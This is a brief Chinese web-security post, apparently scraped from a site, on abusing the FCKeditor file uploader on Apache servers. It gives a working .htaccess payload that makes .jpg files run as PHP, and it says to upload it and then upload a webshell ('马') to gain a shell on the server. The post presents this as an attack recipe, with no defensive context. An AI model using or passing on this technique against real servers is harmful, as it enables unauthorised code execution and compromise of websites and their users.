Fckeditor编辑器在apache下又一思路 - 网站安全 - 自

 

在Linux下或者是Windows下 的apache服务器时 一些解析 漏洞 可能是无法使用的.

 

这个时候如果Fck编辑器允许上传.htaccess文件的话那么我们就可以得到shell了！！

 

Usage:

 

新建.htaccess文件（如果当前 系统 无法建立该文件名可以在压缩包内重命名）

写入

 

代码:<IfModule mod_rewrite.c> AddType application/x-httpd-php .jpg </IfModule> 上传------上传马

 

OK

查看更多关于Fckeditor编辑器在apache下又一思路 - 网站安全 - 自的详细内容...